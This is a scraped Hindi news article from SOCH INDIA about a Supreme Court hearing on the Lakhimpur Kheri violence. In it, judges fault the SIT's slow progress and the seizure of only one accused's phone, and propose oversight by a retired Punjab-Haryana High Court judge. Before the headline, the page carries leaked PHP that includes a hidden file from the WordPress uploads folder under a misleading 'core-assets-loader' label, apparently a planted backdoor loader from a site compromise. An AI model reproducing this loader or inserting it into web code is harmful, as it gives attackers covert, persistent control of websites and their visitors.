add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); लखीमपुर हिंसा मामले की जांच हाईकोर्ट के जज की निगरानी में संभव, सुप्रीम कोर्ट ने दिया संकेत – SOCH INDIA
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लखीमपुर हिंसा मामले की जांच हाईकोर्ट के जज की निगरानी में संभव, सुप्रीम कोर्ट ने दिया संकेत

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 उत्तर प्रदेश के लखीमपुर खीरी में तीन अक्टूबर को हुई हिंसा से जुड़े मामले पर सुप्रीम कोर्ट में आज सुनवाई हुई. इस दौरान सुप्रीम कोर्ट ने कहा है कि पंजाब-हरियाणा हाईकोर्ट के पूर्व जज रंजीत सिंह या राकेश कुमार को जांच का जिम्मा दिया जा सकता है. वह देखेंगे कि तीनों केस में चार्जशीट दाखिल हो. अब मामले की अगली सुनवाई शुक्रवार को होगी.

CJI एनवी रमना ने कहा कि हमने स्टेटस रिपोर्ट देखी है. स्टेटस रिपोर्ट में कुछ भी नया नहीं है, हम जो उम्मीद कर रहे थे वैसे कुछ नहीं है. 10 दिन का समय दिया गया था. कोई प्रगति नहीं हुई. फोन रिकॉर्ड का परीक्षण नहीं हुआ. बस कुछ गवाहों के बयान हुए. लैब रिपोर्ट भी नहीं आई. इसपर यूपी सरकार के वकील हरीश साल्वे ने कहा, लैब ने 15 नवंबर तक रिपोर्ट का कहा है.

वहीं जस्टिस हिमा कोहली ने कहा, सिर्फ आशीष मिश्रा का फोन जब्त हुआ. क्या बाकी आरोपी फोन नहीं इस्तेमाल करते? इसपर यूपी सरकार के वकील हरीश साल्वे ने कहा, ‘कई आरोपी कह रहे हैं कि उनके पास फोन नहीं. हमने कॉल डिटेल निकाले हैं. फिर जस्टिस कोहली ने कहा, क्या आप ऑन रिकॉर्ड कह रहे हैं कि आरोपियों के पास फोन नहीं था. प्रथमदृष्टया यह लग रहा कि एक आरोपी को प्राथमिकता दी जा रही है.’ हरीश साल्वे ने कहा, पिछली बार कुछ नए लोगों ने केस में दखल दिया. अपने मामले में कार्रवाई न होने की बात कही. जब उनको बयान के लिए बुलाया गया तो आरोपियों के पक्ष में सबूत देने लगे. इसलिए उन्हें रिकॉर्ड नहीं किया गया.

“सिर्फ 1 आरोपी का मोबाइल ज़ब्त क्यों?”

जस्टिस कोहली ने कहा, आपने 13 में से सिर्फ 1 आरोपी का मोबाइल ज़ब्त किया. यह रिपोर्ट में कहां लिखा है कि बाकी आरोपियों ने अपने फोन फेंक दिए? इसपर साल्वे ने कहा, ‘यह शायद न लिखा हो. लेकिन हमारे पास सबके नंबर हैं. कॉल डिटेल निकाले गए हैं.’

इसके बाद CJI बोले, ‘हम किसानों, पत्रकार और पार्टी कार्यकर्ता, तीनों हत्या मामलों की सही जांच चाहते हैं.’ जस्टिस सूर्यकांत ने कहा, ‘हमें लगता है कि SIT तीनों मामलों में अंतर नहीं कर पा रही है. हम किसी दूसरे हाई कोर्ट के पूर्व जज को निगरानी का ज़िम्मा देना चाहते हैं. पंजाब-हरियाणा हाई कोर्ट के पूर्व जज रंजीत सिंह या राकेश कुमार को ज़िम्मा दिया जा सकता है. यह पूर्व जज सुनिश्चित करेंगे कि तीनों मामलों में चार्जशीट दाखिल हो सके.’ इस पर साल्वे ने कहा, ‘मुझे इस पर निर्देश लेना होगा. जांच में पता चला है कि पत्रकार कश्यप भी गाड़ी से कुचले गए थे. इसलिए, वह एफआईआर किसानों की हत्यावले एफआईआर से जोड़ दी गई है.’

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